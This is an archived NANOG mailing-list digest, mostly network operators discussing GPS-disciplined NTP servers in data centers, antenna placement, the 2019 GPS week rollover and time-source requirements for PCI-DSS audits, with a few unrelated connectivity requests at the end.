Rollover (WNRO)? The GPS system is world renowned for its ability to provide accurate and reliable positioning and timing information worldwide. The GPS satellites transmit to users the date and time accurate to nanoseconds. However, back in 1980, when the GPS system first began to keep track of time, the date and time was represented by a counter that could only count forward to a maximum of 1024 weeks, or about 19.7 years. After 1024 weeks had elapsed, this counter “rolled over” to zero, and GPS time started counting forward again. This first rollover occurred in August of 1999. The second rollover will occur on April 6, 2019. Is My Device Affected? For many years, Garmin has anticipated and prepared for this event. Regardless, Garmin has been performing exhaustive testing of current and legacy devices to determine if they will be affected by the GPS week number rollover. Our testing shows the vast majority of Garmin GPS devices will handle the WNRO without issues. What is the Effect of a GPS Week Number Rollover Issue? For GPS devices that are affected, after the rollover occurs, an incorrect date and time will be displayed. This incorrect time will also be used to timestamp track logs, compute sunrise and sunset, and other functions that rely upon the correct date and time. However, the positioning accuracy will not be affected. The device will continue to deliver the same positioning performance as before the rollover. -mel On May 1, 2019, at 8:56 PM, Mel Beckman > wrote: Gary, Gary, Gary, You don’t need a $30,000 GPS simulator to verify if a GPS product in your inventory has the rollover bug. You simply ask the supplier to certify that they don’t have the rollover bug. They use their _$100,000_ GPS simulator If needed, but usually it’s done with a trivial code review. If the supplier can’t provide such a certification, then they are no longer a supplier. This tends to persuade them to certify. If you as an air carrier (or any other critical GPS consumer) fail to ask for such a certification in time to field a replacement, that’s your fault. You might not be aware, but zero US air carriers had any unplanned downtime from the GPS rollover. I can’t say the same thing for certain Asian air carriers :) -mel via cell On May 1, 2019, at 8:39 PM, Gary E. Miller > wrote: Yo Mel! On Thu, 2 May 2019 03:30:03 +0000 Mel Beckman > wrote: I’m also an FAA licensed A&P mechanic, and have worked for airlines in fleet maintenance. Air carriers have extremely thorough systems reviews, by law, through the Airworthiness Directive program, which started identifying 2019 GPS rollover vulnerabilities in ... 2009! Nobody was surprised. If any GPS systems “went nuts”, it was through the incompetence and negligence of their owners. How many GPS owners happen to have $30,000 GPS simulators to check their $300 GPS/NTP servers? Some of mine did, most did not. Seems to me the negligence is in the GPS manufacturer that failed to notify their customers. To be fair, Avidyne and Telit did notify their customers, but not with a fix or enough lead time to swap out the units. RGDS GARY --------------------------------------------------------------------------- Gary E. Miller Rellim 109 NW Wilmington Ave., Suite E, Bend, OR 97703 gem at rellim.com Tel:+1 541 382 8588 Veritas liberabit vos. -- Quid est veritas? "If you can’t measure it, you can’t improve it." - Lord Kelvin -------------- next part -------------- An HTML attachment was scrubbed... URL: From cabo at tzi.org Thu May 2 04:17:37 2019 From: cabo at tzi.org (Carsten Bormann) Date: Thu, 2 May 2019 06:17:37 +0200 Subject: NTP question In-Reply-To: References: Message-ID: <347E7E1C-AF39-4807-9B53-FC45D8EC7213@tzi.org> On May 2, 2019, at 00:41, Alejandro Acosta wrote: > > As other have commented before, it looks you need an outdoor antenna, however, reading the specs it says: > > > > “The built in high sensitivity GPS receiver is able to lock multiple satellites from within multiple buildings or from a window location, eliminating the requirement that an outdoor antenna be installed." Why don’t data centers provide a GPS signal along with power and air conditioning? Installing a distribution amplifier for 1.5 GHz is not rocket science. (Or an Ethernet with IEEE1588 precise time, but that is probably asking too much.) Grüße, Carsten From keith at contoocook.net Thu May 2 04:29:32 2019 From: keith at contoocook.net (Keith Wallace) Date: Thu, 2 May 2019 00:29:32 -0400 Subject: NTP question In-Reply-To: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> References: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> Message-ID: <481b1c7c-0e83-44f9-b286-fc91f426f903.maildroid@localhost> I'd like to give a plug for Symetricom products like the Time Provider 1100. I used these in my previous life at a half dozen sites. They function as ntp servers and peer with each other over a network. In addition (and most important to me) they provided BITS clocks to our optical gear and pbx's. Very reliable and you could waste all sorts of money by equipping them with 1 or 2 oscillators, rubidium if you liked. The antenna needed a clear view of the sky and we mounted these at roof level to avoid lightning. They were heated to avoid icing. Good stuff, never had an issue with rollovers, software was upgradable. Sent from my android device. -----Original Message----- From: "Ask Bjørn Hansen" To: Mehmet Akcin Cc: nanog Sent: Wed, 01 May 2019 19:43 Subject: Re: NTP question > On May 1, 2019, at 12:22, Mehmet Akcin wrote: > > I am trying to buy a GPS based NTP server like this one > > https://timemachinescorp.com/product/gps-time-server-tm1000a/ > > but I will be placing this inside a data center, do these need an actual view of a sky to be able to get signal or will they work fine inside a data center building? if you have any other hardware requirements to be able to provide stable time service for hundreds of customers, please let me know. [ with my hobby-hat on … ] tl;dr: if any of the below is too much work, just run reasonably well monitored NTP server syncing from other NTP servers. If you want more than that, you need to see the sky. Don’t do the CDMA thing. Depending on your requirements having the antenna in the window may or may not be satisfactory. If it’s fine you probably could just have done a regular NTP server in the first place. For long swaths of the day you might not see too many satellites which will add to the uncertainty of the signal. Meinberg’s GPS antenna has a bit more smarts which helps it work on up to 300 meters on RG58 or 700 meters on RG213. (They also have products that use regular L1 antennas with the limitations Bryan mentioned). https://www.meinbergglobal.com/english/products/gps-antenna-converter.htm They also have a multi-mode fiber box to have the antenna be up to 2km from the box or 20km with their single mode fiber box, if you have fiber to somewhere else where you can see the sky and place an antenna. It will be more than the one you linked to, but their systems are very reasonably priced, too. For “hundreds of customers” whatever is the smallest/cheapest box they have will work fine. Even their smallest models have decent oscillators (for keeping the ticks accurate between GPS signals). The Meinberg time server products (I am guessing all of them, but I’m not sure) also have a mode where they poll an upstream NTP server aggressively and then steer the oscillator after it. I haven’t used it in production, but it worked a lot better than it sounded like it would. (In other words, even without GPS it’s a better time server than most systems). Ask -------------- next part -------------- An HTML attachment was scrubbed... URL: From valdis.kletnieks at vt.edu Thu May 2 04:54:15 2019 From: valdis.kletnieks at vt.edu (Valdis Kl=?utf-8?Q?=c4=93?=tnieks) Date: Thu, 02 May 2019 00:54:15 -0400 Subject: NTP question In-Reply-To: <481b1c7c-0e83-44f9-b286-fc91f426f903.maildroid@localhost> References: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> <481b1c7c-0e83-44f9-b286-fc91f426f903.maildroid@localhost> Message-ID: <9809.1556772855@turing-police> On Thu, 02 May 2019 00:29:32 -0400, Keith Wallace said: > Good stuff, never had an issue with rollovers, software was upgradable. Did the vendor ever ship an actual software upgrade? -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 832 bytes Desc: not available URL: From mdavids at forfun.net Thu May 2 07:32:40 2019 From: mdavids at forfun.net (Marco Davids) Date: Thu, 2 May 2019 09:32:40 +0200 Subject: NTP question In-Reply-To: <7253ACFA-D29C-4511-B696-79B931EF74BA@develooper.com> References: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> <7253ACFA-D29C-4511-B696-79B931EF74BA@develooper.com> Message-ID: <1207eee5-2d88-394b-a766-1f5efb931a7f@forfun.net> Op 02-05-19 om 02:00 schreef Ask Bjørn Hansen: > Though, on the topic of unusual requirements there are a bunch of > contributors to the NTP Pool using this curious device It continues to surprise me that there is still hardware being sold that doesn't even support IPv6. -- Marco From william.allen.simpson at gmail.com Thu May 2 09:38:52 2019 From: william.allen.simpson at gmail.com (William Allen Simpson) Date: Thu, 2 May 2019 05:38:52 -0400 Subject: NTP via GPS In-Reply-To: References: Message-ID: <886332eb-d318-75ca-9c35-d6dc2d502686@gmail.com> On 5/1/19 6:12 PM, Richard wrote: >     I found this article very helpful as I knew very little. I was smarter for reading it though it may be to basic for many: > > https://timetoolsltd.com/gps/gps-ntp-server/ > Although it has a good general overview, I'm fairly sure that Dave Mills would be very surprised that: "The NTP protocol was originally developed for the LINUX operating system." From chinese.apricot at gmail.com Thu May 2 11:32:36 2019 From: chinese.apricot at gmail.com (william manning) Date: Thu, 2 May 2019 04:32:36 -0700 Subject: NTP question In-Reply-To: <20190501145939.E18839@naund.org> References: <20190501135033.C18839@naund.org> <1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> <20190501145939.E18839@naund.org> Message-ID: for our PCI-DSS audit, the rational for at least -one- local source, instead of depending on pool.ntp.org, was "backhoe fade". it was worth the $135 for an NTP source using GPS. the cable run up the elevator shaft for the antenna works without needing OSHPD permits. We are very happy with the result. /Wm On Wed, May 1, 2019 at 3:01 PM Andreas Ott wrote: > On Wed, May 01, 2019 at 02:35:58PM -0700, Harlan Stenn wrote: > > - Why do folks want to have one or more NTP server masters that have at > > least 1 refclock on them in a data center, instead of having their data > > center NTP server masters that only get time over the internet? > > I had that discussion before with the QSA for a compliance audit, pointing > to requirement "10.4.3 Time settings are received from industry-accepted > time sources" and "verify that the time server(s) accept time updates from > specific, industry-accepted external sources (to prevent a malicious > individual from changing the clock)" in the PCI-DSS document. He > non-jokingly suggested "why don't you use pool.ntp.org?", not really > realizing how many servers are in fact just someone's PC behind a cable > modem in their home, which negated the "do I trust the time I am > receiving?". My immediate answer was "we could use NIST servers", > but the easiest way out of this is "we operate our own NTP appliance > with a GPS receiver" and provide that as evidence. > > Don't get me wrong, I support pool.ntp.org by operating and contributing > servers to it, but it is not deemed good enough if you need traceability > of your NTP time source(s), even though the pool will only admit members > above a certain quality threshold. > > > > - What % of data center operators provide time servers in their data > > centers for their tenants (or for the general public)? > > My $employer does that in our datacenters and points of presence for > our customers. > > -andreas > -- > Andreas Ott K6OTT +1.408.431.8727 andreas at naund.org > -------------- next part -------------- An HTML attachment was scrubbed... URL: From beecher at beecher.cc Thu May 2 12:59:19 2019 From: beecher at beecher.cc (Tom Beecher) Date: Thu, 2 May 2019 08:59:19 -0400 Subject: NTP question In-Reply-To: References: <20190501135033.C18839@naund.org> <1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> <20190501145939.E18839@naund.org> Message-ID: Passes the backhoe test, but might have an issue with the Die Hard Elevator Shaft Fight Scene checks. :) On Thu, May 2, 2019 at 07:34 william manning wrote: > for our PCI-DSS audit, the rational for at least -one- local source, > instead of depending on pool.ntp.org, was "backhoe fade". > it was worth the $135 for an NTP source using GPS. the cable run up the > elevator shaft for the antenna works without needing OSHPD permits. > > We are very happy with the result. > > /Wm > > On Wed, May 1, 2019 at 3:01 PM Andreas Ott wrote: > >> On Wed, May 01, 2019 at 02:35:58PM -0700, Harlan Stenn wrote: >> > - Why do folks want to have one or more NTP server masters that have at >> > least 1 refclock on them in a data center, instead of having their data >> > center NTP server masters that only get time over the internet? >> >> I had that discussion before with the QSA for a compliance audit, pointing >> to requirement "10.4.3 Time settings are received from industry-accepted >> time sources" and "verify that the time server(s) accept time updates from >> specific, industry-accepted external sources (to prevent a malicious >> individual from changing the clock)" in the PCI-DSS document. He >> non-jokingly suggested "why don't you use pool.ntp.org?", not really >> realizing how many servers are in fact just someone's PC behind a cable >> modem in their home, which negated the "do I trust the time I am >> receiving?". My immediate answer was "we could use NIST servers", >> but the easiest way out of this is "we operate our own NTP appliance >> with a GPS receiver" and provide that as evidence. >> >> Don't get me wrong, I support pool.ntp.org by operating and contributing >> servers to it, but it is not deemed good enough if you need traceability >> of your NTP time source(s), even though the pool will only admit members >> above a certain quality threshold. >> >> >> > - What % of data center operators provide time servers in their data >> > centers for their tenants (or for the general public)? >> >> My $employer does that in our datacenters and points of presence for >> our customers. >> >> -andreas >> -- >> Andreas Ott K6OTT +1.408.431.8727 andreas at naund.org >> > -------------- next part -------------- An HTML attachment was scrubbed... URL: From valdis.kletnieks at vt.edu Thu May 2 13:59:38 2019 From: valdis.kletnieks at vt.edu (Valdis Kl=?utf-8?Q?=c4=93?=tnieks) Date: Thu, 02 May 2019 09:59:38 -0400 Subject: NTP question In-Reply-To: References: <20190501135033.C18839@naund.org> <1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> <20190501145939.E18839@naund.org> Message-ID: <3033.1556805578@turing-police> On Thu, 02 May 2019 08:59:19 -0400, Tom Beecher said: > Passes the backhoe test, but might have an issue with the Die Hard Elevator > Shaft Fight Scene checks. If your data center is suffering from both backhoe face and a Die Hard Fight Scene, the *real* question is whether you're going to care about NTP when the Halon dumps and the emergency power interlock shuts down all your hardware... In other words, you got bigger problems. :) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 832 bytes Desc: not available URL: From bkain1 at ford.com Thu May 2 14:03:59 2019 From: bkain1 at ford.com (Kain, Rebecca (.)) Date: Thu, 2 May 2019 14:03:59 +0000 Subject: NTP question In-Reply-To: <3033.1556805578@turing-police> References: <20190501135033.C18839@naund.org> <1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> <20190501145939.E18839@naund.org> <3033.1556805578@turing-police> Message-ID: <248c3b3231474e89a05ea61bd87ca02c@ford.com> Or the fbi shuts off the power grid -----Original Message----- From: NANOG On Behalf Of Valdis Kletnieks Sent: Thursday, May 02, 2019 10:00 AM To: Tom Beecher Cc: NANOG list Subject: Re: NTP question On Thu, 02 May 2019 08:59:19 -0400, Tom Beecher said: > Passes the backhoe test, but might have an issue with the Die Hard > Elevator Shaft Fight Scene checks. If your data center is suffering from both backhoe face and a Die Hard Fight Scene, the *real* question is whether you're going to care about NTP when the Halon dumps and the emergency power interlock shuts down all your hardware... In other words, you got bigger problems. :) From bill at herrin.us Thu May 2 14:57:53 2019 From: bill at herrin.us (William Herrin) Date: Thu, 2 May 2019 07:57:53 -0700 Subject: NTP question In-Reply-To: <4529C12D-96AB-4AC7-8848-C62D2FAA638D@beckman.org> References: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> <95a5410f-8422-4814-e81f-6a02a1af6f2d@nwtime.org> <8767F325-88FE-4793-A75D-F5D97DE0D1B1@beckman.org> <506345a2-80e2-36c7-3e2b-2debbe11d6ad@nwtime.org> <4529C12D-96AB-4AC7-8848-C62D2FAA638D@beckman.org> Message-ID: On Wed, May 1, 2019 at 8:35 PM Mel Beckman wrote: > I can tell you how the GPS server behaves when it loses it signal: it > stops giving out verified time and lapses into Stratum-“goners” mode. But > today’s RTP chips don’t start losing seconds-per-day when they are free > running. Typically they might lose ten seconds per week on cheap systems. > That’s of little concern if you have two GPS clocks. > The macbook my employer issued gains about 20 minutes a day when not synced. Easier to not replace it because oh look, the drive is soldered to the motherboard. I've taken to calling it my crapbook. Really disappointed with the quality out of Apple lately. -Bill -- William Herrin ................ herrin at dirtside.com bill at herrin.us Dirtside Systems ......... Web: -------------- next part -------------- An HTML attachment was scrubbed... URL: From bill at herrin.us Thu May 2 14:59:10 2019 From: bill at herrin.us (William Herrin) Date: Thu, 2 May 2019 07:59:10 -0700 Subject: NTP question In-Reply-To: References: <61db3c2f7a8ff84e9e826d3d57aaadd7@mail.dessus.com> Message-ID: On Wed, May 1, 2019 at 7:03 PM Harlan Stenn wrote: > It's not clear to me that there's anything *wrong* with using the pool, > especially if you're using our 'pool' directive in your config file. > The one time I relied on the pool I lost sync a year later when all three servers the configuration picked withdrew time services and the still-running ntp client didn't return to the names to find new ones. Wonderful if that's fixed now but the pool folks argued just as strongly for using it back then. Also, telling the security auditor that you have no idea who supplies your time source is pretty much a non-starter. You can convince them of a lot of things but you can't convince them it's OK to have no idea where critical services come from. That's what's wrong with the pool. Regards, Bill Herrin -- William Herrin ................ herrin at dirtside.com bill at herrin.us Dirtside Systems ......... Web: -------------- next part -------------- An HTML attachment was scrubbed... URL: From gtaylor at tnetconsulting.net Thu May 2 15:21:31 2019 From: gtaylor at tnetconsulting.net (Grant Taylor) Date: Thu, 2 May 2019 09:21:31 -0600 Subject: NTP question In-Reply-To: <248c3b3231474e89a05ea61bd87ca02c@ford.com> References: <20190501135033.C18839@naund.org> <1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> <20190501145939.E18839@naund.org> <3033.1556805578@turing-police> <248c3b3231474e89a05ea61bd87ca02c@ford.com> Message-ID: On 5/2/19 8:03 AM, Kain, Rebecca (.) wrote: > Or the fbi shuts off the power grid Na. Battery backup and generators with days ~> weeks worth of fuel. }:-) -- Grant. . . . unix || die -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 4008 bytes Desc: S/MIME Cryptographic Signature URL: From cma at cmadams.net Thu May 2 15:29:56 2019 From: cma at cmadams.net (Chris Adams) Date: Thu, 2 May 2019 10:29:56 -0500 Subject: NTP question In-Reply-To: References: <61db3c2f7a8ff84e9e826d3d57aaadd7@mail.dessus.com> Message-ID: <20190502152956.GA13611@cmadams.net> Once upon a time, William Herrin said: > The one time I relied on the pool I lost sync a year later when all three > servers the configuration picked withdrew time services and the > still-running ntp client didn't return to the names to find new ones. > Wonderful if that's fixed now but the pool folks argued just as strongly > for using it back then. Current versions of both ntpd and chrony support a "pool" config option as an alternative to the "server" option, and I believe both will monitor the reachability and quality of the sources and periodically refresh from DNS. -- Chris Adams From ahebert at pubnix.net Thu May 2 15:32:08 2019 From: ahebert at pubnix.net (Alain Hebert) Date: Thu, 2 May 2019 11:32:08 -0400 Subject: NTP question In-Reply-To: References: <20190501135033.C18839@naund.org> <1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> <20190501145939.E18839@naund.org> <3033.1556805578@turing-police> <248c3b3231474e89a05ea61bd87ca02c@ford.com> Message-ID: <1d973bfc-4768-36db-872f-43078cd968e9@pubnix.net>     Unless the Firemen turn your roof generator off because someone in the street yelled fire =D On 2019-05-02 11:21, Grant Taylor via NANOG wrote: > On 5/2/19 8:03 AM, Kain, Rebecca (.) wrote: >> Or the fbi shuts off the power grid > > Na. > > Battery backup and generators with days ~> weeks worth of fuel.  }:-) > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From telephonetoughguy83 at gmail.com Wed May 1 20:14:05 2019 From: telephonetoughguy83 at gmail.com (Andy Smith) Date: Wed, 1 May 2019 15:14:05 -0500 Subject: NTP question In-Reply-To: References: Message-ID: The link you provided answers that question: "The built in high sensitivity GPS receiver is able to lock multiple satellites from within multiple buildings or from a window location, eliminating the requirement that an outdoor antenna be installed". If you're still worried about your specific use-case, I recommend contacting the manufacturer. On Wed, May 1, 2019 at 2:25 PM Mehmet Akcin wrote: > hey there Nanog, > > I am trying to buy a GPS based NTP server like this one > > https://timemachinescorp.com/product/gps-time-server-tm1000a/ > > but I will be placing this inside a data center, do these need an actual > view of a sky to be able to get signal or will they work fine inside a data > center building? if you have any other hardware requirements to be able to > provide stable time service for hundreds of customers, please let me know. > > mehmet > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From james at talkunafraid.co.uk Wed May 1 22:27:38 2019 From: james at talkunafraid.co.uk (James Harrison) Date: Wed, 1 May 2019 23:27:38 +0100 Subject: NTP question In-Reply-To: <20190501192935.GD89407@vurt.meerval.net> References: <20190501192935.GD89407@vurt.meerval.net> Message-ID: <0c75a18b-c446-8d88-f260-48630b84a0b4@talkunafraid.co.uk> On 01/05/2019 20:29, Job Snijders wrote: > The trick is to order a spot on the roof of the datacenter, have the > facility staff place the antenna there, and run a cable to the NTP > server in your rack. Some DCs also offer GPS antenna feeds fed from a splitter, though it's important to get the total cable length from the antenna to your receiver so you can set your propagation delay offset accordingly. I've also been in facilities that distribute IRIG and 10MHz references so you can feed a reference directly, but that's fairly rare. It's worth asking what your facilities can provide, in either case. Many DCs don't want a dozen GPS antennae cluttering the roof up but are happy to provide the service from one they look after (for a cost, of course). If you have external facilities, of course, so long as you can run PTP/1588 back from them, you can always host your clocks there and distribute to 1588 masters in the DC. -- Cheers, James Harrison -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 833 bytes Desc: OpenPGP digital signature URL: From fkittred at gwi.net Thu May 2 08:27:11 2019 From: fkittred at gwi.net (Fletcher Kittredge) Date: Thu, 2 May 2019 10:27:11 +0200 Subject: NTP via GPS In-Reply-To: References: Message-ID: On Thu, May 2, 2019 at 12:12 AM Richard wrote: > I found this article very helpful as I knew very little. I was smarter > for reading it though it may be to basic for many: > > https://timetoolsltd.com/gps/gps-ntp-server/ > It is basic and has at least some inaccuracies. I skimmed it and found: "The NTP protocol was originally developed for the LINUX operating system. " Kids these days.... so much history lost. For those under 60 revolutions of the sun: NTP and related protocols far pre-date Linux. Linux is a relatively late arriving implementation of Unix. The vast majority of intellectual property behind Linux was from prior variants of Unix; Linux was just a free, unencumbered version that was widely adopted. -- Fletcher Kittredge GWI 207-602-1134 www.gwi.net -------------- next part -------------- An HTML attachment was scrubbed... URL: From mel at beckman.org Thu May 2 15:56:11 2019 From: mel at beckman.org (Mel Beckman) Date: Thu, 2 May 2019 15:56:11 +0000 Subject: NTP question In-Reply-To: References: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> <95a5410f-8422-4814-e81f-6a02a1af6f2d@nwtime.org> <8767F325-88FE-4793-A75D-F5D97DE0D1B1@beckman.org> <506345a2-80e2-36c7-3e2b-2debbe11d6ad@nwtime.org> <4529C12D-96AB-4AC7-8848-C62D2FAA638D@beckman.org> Message-ID: <1B2DB858-6C52-4F41-9BD6-2A8EC3FCF930@beckman.org> Bill, I did say _today’s_ RTP chips :) Although as a Mac user with multiple types, many not Internet-connected, I’ve never seen any lose minutes per day. You might have a dead clock battery. -mel On May 2, 2019, at 7:57 AM, William Herrin > wrote: On Wed, May 1, 2019 at 8:35 PM Mel Beckman > wrote: I can tell you how the GPS server behaves when it loses it signal: it stops giving out verified time and lapses into Stratum-“goners” mode. But today’s RTP chips don’t start losing seconds-per-day when they are free running. Typically they might lose ten seconds per week on cheap systems. That’s of little concern if you have two GPS clocks. The macbook my employer issued gains about 20 minutes a day when not synced. Easier to not replace it because oh look, the drive is soldered to the motherboard. I've taken to calling it my crapbook. Really disappointed with the quality out of Apple lately. -Bill -- William Herrin ................ herrin at dirtside.com bill at herrin.us Dirtside Systems ......... Web: -------------- next part -------------- An HTML attachment was scrubbed... URL: From nanog at ics-il.net Thu May 2 15:56:26 2019 From: nanog at ics-il.net (Mike Hammett) Date: Thu, 2 May 2019 10:56:26 -0500 (CDT) Subject: NTP question In-Reply-To: <0c75a18b-c446-8d88-f260-48630b84a0b4@talkunafraid.co.uk> References: <20190501192935.GD89407@vurt.meerval.net> <0c75a18b-c446-8d88-f260-48630b84a0b4@talkunafraid.co.uk> Message-ID: <471472882.2782.1556812581523.JavaMail.mhammett@ThunderFuck> What sort of products are people using to provide timing services to third parties in datacenters? ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "James Harrison" To: nanog at nanog.org Sent: Wednesday, May 1, 2019 5:27:38 PM Subject: Re: NTP question On 01/05/2019 20:29, Job Snijders wrote: > The trick is to order a spot on the roof of the datacenter, have the > facility staff place the antenna there, and run a cable to the NTP > server in your rack. Some DCs also offer GPS antenna feeds fed from a splitter, though it's important to get the total cable length from the antenna to your receiver so you can set your propagation delay offset accordingly. I've also been in facilities that distribute IRIG and 10MHz references so you can feed a reference directly, but that's fairly rare. It's worth asking what your facilities can provide, in either case. Many DCs don't want a dozen GPS antennae cluttering the roof up but are happy to provide the service from one they look after (for a cost, of course). If you have external facilities, of course, so long as you can run PTP/1588 back from them, you can always host your clocks there and distribute to 1588 masters in the DC. -- Cheers, James Harrison -------------- next part -------------- An HTML attachment was scrubbed... URL: From james.cutler at consultant.com Thu May 2 16:13:55 2019 From: james.cutler at consultant.com (James R Cutler) Date: Thu, 2 May 2019 12:13:55 -0400 Subject: NTP question In-Reply-To: References: <61db3c2f7a8ff84e9e826d3d57aaadd7@mail.dessus.com> Message-ID: > On May 2, 2019, at 10:59 AM, William Herrin wrote: > > On Wed, May 1, 2019 at 7:03 PM Harlan Stenn > wrote: > It's not clear to me that there's anything *wrong* with using the pool, > especially if you're using our 'pool' directive in your config file. > > The one time I relied on the pool I lost sync a year later when all three servers the configuration picked withdrew time services and the still-running ntp client didn't return to the names to find new ones. Wonderful if that's fixed now but the pool folks argued just as strongly for using it back then. > > Also, telling the security auditor that you have no idea who supplies your time source is pretty much a non-starter. You can convince them of a lot of things but you can't convince them it's OK to have no idea where critical services come from. > > That's what's wrong with the pool. > > Regards, > Bill Herrin > > > -- > William Herrin ................ herrin at dirtside.com bill at herrin.us > Dirtside Systems ......... Web: > I have only ever used the pool as a supplement to other servers. Here is a snippet from ntp.conf that was found in the bottom of a locked filing cabinet stuck in a disused lavatory with a sign on the door saying 'Beware of the Leopard.’ * # External Time Synchronization Source Servers # server tick.usno.navy.mil # open access server time.apple.com # open access server Time1.Stupi.SE # open access server ntps1-0.uni-erlangen.de # open access server 0.pool.ntp.org # open access server 1.pool.ntp.org # open access server 2.pool.ntp.org # open access server nist1-nj2-ustiming.org # open access server nist1-chi-ustiming.org # open access server nist1-pa-ustiming.org # open access # I have not kept up with pool changes since then. *Apologies to Douglas Adams -------------- next part -------------- An HTML attachment was scrubbed... URL: From gtaylor at tnetconsulting.net Thu May 2 16:37:04 2019 From: gtaylor at tnetconsulting.net (Grant Taylor) Date: Thu, 2 May 2019 10:37:04 -0600 Subject: NTP question In-Reply-To: <1d973bfc-4768-36db-872f-43078cd968e9@pubnix.net> References: <20190501135033.C18839@naund.org> <1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> <20190501145939.E18839@naund.org> <3033.1556805578@turing-police> <248c3b3231474e89a05ea61bd87ca02c@ford.com> <1d973bfc-4768-36db-872f-43078cd968e9@pubnix.net> Message-ID: <2cf4f008-6a6c-c7ba-efa4-d77581c3dee7@spamtrap.tnetconsulting.net> On 5/2/19 9:32 AM, Alain Hebert wrote: > Unless the Firemen turn your roof generator off because someone in > the street yelled fire =D The firemen & women that I've had the pleasure of working with did have more brains than that. Despite their reputation of brute force, they do think. -- Grant. . . . unix || die -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 4008 bytes Desc: S/MIME Cryptographic Signature URL: From sean at donelan.com Thu May 2 17:05:32 2019 From: sean at donelan.com (Sean Donelan) Date: Thu, 2 May 2019 13:05:32 -0400 (EDT) Subject: Building Integrated Timing System (was Re: NTP question) In-Reply-To: <347E7E1C-AF39-4807-9B53-FC45D8EC7213@tzi.org> References: <347E7E1C-AF39-4807-9B53-FC45D8EC7213@tzi.org> Message-ID: On Thu, 2 May 2019, Carsten Bormann wrote: > Why don’t data centers provide a GPS signal along with power and air conditioning? > Installing a distribution amplifier for 1.5 GHz is not rocket science. > > (Or an Ethernet with IEEE1588 precise time, but that is probably asking too much.) They should :-) I tried to include time (i.e. Buiding Integrated Timing System) as part of the basic data center services (hvac, power, access control, etc) when I worked at Equinix many, many years ago. Your data center operator can install its GPS (or other time source) antennas, drive the building master clock, and distribute time to customers using several different protocols. For folks with firewall/security concerns, the building master clock can drive non-Internet protocols (IRIG-B, IEE1588 PTP, etc) or connections in addition to NTP. You can still have your own NTP server. The difference is instead of a GPS antenna connection, your clock box uses the BITS connection as one of the time sources. Unfortunately, I was ahead of my time and customers (and sales people) didn't really understand the advantages. Yes, the DC operator can screw up the BITS just like the DC operator can screw up the power, hvac and access control systems. Everyone wanted a separate GPS antenna, and the sales people made more commission selling space on the antenna platform :-( From ahebert at pubnix.net Thu May 2 17:18:33 2019 From: ahebert at pubnix.net (Alain Hebert) Date: Thu, 2 May 2019 13:18:33 -0400 Subject: NTP question In-Reply-To: <2cf4f008-6a6c-c7ba-efa4-d77581c3dee7@spamtrap.tnetconsulting.net> References: <20190501135033.C18839@naund.org> <1665738194.2237.1556744702880.JavaMail.mhammett@ThunderFuck> <20190501145939.E18839@naund.org> <3033.1556805578@turing-police> <248c3b3231474e89a05ea61bd87ca02c@ford.com> <1d973bfc-4768-36db-872f-43078cd968e9@pubnix.net> <2cf4f008-6a6c-c7ba-efa4-d77581c3dee7@spamtrap.tnetconsulting.net> Message-ID: <08f965cc-1838-5252-80a3-c20ba7330f6e@pubnix.net>     First sorry for the gender goof, I did a lazy analog translation from "pompiers".     It is a true story that happened to a buddy of mine a few years back.     People saw smoke (diesel exhaust) coming from the roof of the building during a power outage and called 911.     They did follow protocol, and turn off both fuel and electrical system first :(.  The solution was to move them to his parking lot to make it more definitive where the smoke is coming from =D. On 2019-05-02 12:37, Grant Taylor via NANOG wrote: > On 5/2/19 9:32 AM, Alain Hebert wrote: >> Unless the Firemen turn your roof generator off because someone in >> the street yelled fire =D > > The firemen & women that I've had the pleasure of working with did > have more brains than that. > > Despite their reputation of brute force, they do think. > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From mail at theo-voss.de Thu May 2 16:39:35 2019 From: mail at theo-voss.de (Theo Voss) Date: Thu, 2 May 2019 16:39:35 +0000 Subject: Fibre provider in Starkville, MS Message-ID: <6069C591-B429-4070-A84F-528782BBB631@theo-voss.de> Hi all, we’re looking for a regional (and agile) ISP who can provide 1 Gbps full-transparent layer2 connectivity from an office building in Starkville, MS (address on request) to our PoP in Atlanta (https://www.peeringdb.com/fac/562) – does anyone has recommendations? :-) Thanks in advance! Best regards, Theo Voss -------------- next part -------------- An HTML attachment was scrubbed... URL: From josh at imaginenetworksllc.com Thu May 2 18:23:11 2019 From: josh at imaginenetworksllc.com (Josh Luthman) Date: Thu, 2 May 2019 14:23:11 -0400 Subject: Optical routes from MI-OH regionals In-Reply-To: <914497795.1567.1556720903643.JavaMail.mhammett@ThunderFuck> References: <0FDDCF7E-D42B-4EBD-8407-E7AC3A096279@lixfeld.ca> <914497795.1567.1556720903643.JavaMail.mhammett@ThunderFuck> Message-ID: IFN/Comnet/whatever they are this week is going to be your best bet for sure. Josh Luthman Office: 937-552-2340 Direct: 937-552-2343 1100 Wayne St Suite 1337 Troy, OH 45373 On Wed, May 1, 2019 at 10:29 AM Mike Hammett wrote: > https://ifnetwork.biz/regional-map > > > > ----- > Mike Hammett > Intelligent Computing Solutions > http://www.ics-il.com > > Midwest-IX > http://www.midwest-ix.com > > ------------------------------ > *From: *"Jason Lixfeld" > *To: *"NANOG" > 